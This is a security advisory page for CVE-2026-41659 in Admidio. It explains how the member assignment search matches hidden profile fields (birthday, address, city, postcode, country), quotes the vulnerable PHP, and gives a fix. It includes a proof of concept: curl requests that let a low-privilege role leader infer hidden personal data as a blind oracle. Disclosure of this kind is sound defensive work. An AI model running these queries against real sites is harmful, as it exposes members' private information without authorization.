CVE-2026-41659

LOW2.7EPSS 0.01%

Admidio Leaks Hidden Profile Field Values via Blind Search Oracle in Member Assignment

發布日:2026/4/29修改日:2026/5/8

描述

## Summary The member assignment DataTables endpoint (`members_assignment_data.php`) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via `isVisible()` checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values. ## Details The search columns are hardcoded at `modules/groups-roles/members_assignment_data.php:118-126`: ```php $searchColumns = array( 'COALESCE(last_name, \' \')', 'COALESCE(first_name, \' \')', 'COALESCE(birthday, \' \')', // hidden field - no visibility check 'COALESCE(street, \' \')', // hidden field - no visibility check 'COALESCE(city, \' \')', // hidden field - no visibility check 'COALESCE(zip_code, \' \')', // hidden field - no visibility check 'COALESCE(country, \' \')' // hidden field - no visibility check ); ``` These columns are concatenated into a SQL LIKE search at line 139: ```php $searchCondition .= ' AND LOWER(CONCAT(' . implode(', ', $searchColumns) . ')) LIKE LOWER(CONCAT(\'%\', ' . $searchValue . ', \'%\')) '; ``` The SQL query at lines 200-235 fetches all these fields via LEFT JOINs on `adm_user_data`, and the search condition is applied as a subquery filter at lines 258-262: ```php $sql = 'SELECT usr_id, usr_uuid, last_name, first_name, birthday, city, street, zip_code, country, ... FROM (' . $mainSql . ') AS members ' . $searchCondition . $orderCondition . $limitCondition; ``` The output visibility checks at lines 291-335 correctly call `$gProfileFields->isVisible('BIRTHDAY', $gCurrentUser->isAdministratorUsers())`, which returns `false` when `usf_hidden=1` and the user is not an admin. However, this only controls whether the column appears in the JSON response — the result set has already been filtered by the search. The authorization check at line 77 uses `allowedToAssignMembers()` (`src/Roles/Entity/Role.php:98-121`), which passes for role leaders with `ROLE_LEADER_MEMBERS_ASSIGN` (value 1). These leaders do not have `isAdministratorUsers()` privileges, so `isVisible()` returns false for hidden fields — but the search still operates on them. ## PoC ```bash # Prerequisites: # - Authenticated as a role leader with ROLE_LEADER_MEMBERS_ASSIGN rights # - BIRTHDAY field is configured as hidden (usf_hidden = 1) # - Target role has a known UUID # Step 1: Baseline - get all members without search filter curl -b 'PHPSESSID=<session>' \ 'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D=' # Response: returns all users. Birthday column is NOT in output (hidden). # Note recordsFiltered count. # Step 2: Search for a specific birthday value curl -b 'PHPSESSID=<session>' \ 'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D=1990-03-15' # Response: only users whose hidden birthday matches "1990-03-15" appear. # Birthday column is still NOT in output, but result set is filtered by it. # User names (always visible) reveal which users have that birthday. # Step 3: Enumerate hidden street addresses curl -b 'PHPSESSID=<session>' \ 'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D=123+Main+St' # Response: only users living at "123 Main St" appear in results. # Address fields are hidden in output but the search matched against them. ``` ## Impact A role leader with assign-only permissions (the lowest leader privilege level) can extract hidden PII for all organization members including: - **Birthdays** — exact date of birth for any user - **Street addresses** — full street address - **Cities and postal codes** — location information - **Countries** — nationality/residence This is a blind oracle attack: hidden field values are never displayed, but by searching for specific values and observing the filtered result set (user names and `recordsFiltered` count), an attacker can determine which users match any hidden field value. This defeats the administrator's intent in marking these fields as hidden. ## Recommended Fix Filter search columns by visibility before constructing the SQL search condition. Replace lines 118-126 with: ```php $searchColumns = array( 'COALESCE(last_name, \' \')', 'COALESCE(first_name, \' \')', ); $isAdmin = $gCurrentUser->isAdministratorUsers(); if ($gProfileFields->isVisible('BIRTHDAY', $isAdmin)) { $searchColumns[] = 'COALESCE(birthday, \' \')'; } if ($gProfileFields->isVisible('STREET', $isAdmin)) { $searchColumns[] = 'COALESCE(street, \' \')'; } if ($gProfileFields->isVisible('CITY', $isAdmin)) { $searchColumns[] = 'COALESCE(city, \' \')'; } if ($gProfileFields->isVisible('POSTCODE', $isAdmin)) { $searchColumns[] = 'COALESCE(zip_code, \' \')'; } if ($gProfileFields->isVisible('COUNTRY', $isAdmin)) { $searchColumns[] = 'COALESCE(country, \' \')'; } ``` This ensures the SQL search only operates on fields the current user is authorized to see, matching the behavior of the output visibility checks.

受影響套件(1)

CVSS 分數

來源版本嚴重程度向量
osvCVSS 3.1LOW2.7CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

參考連結(4)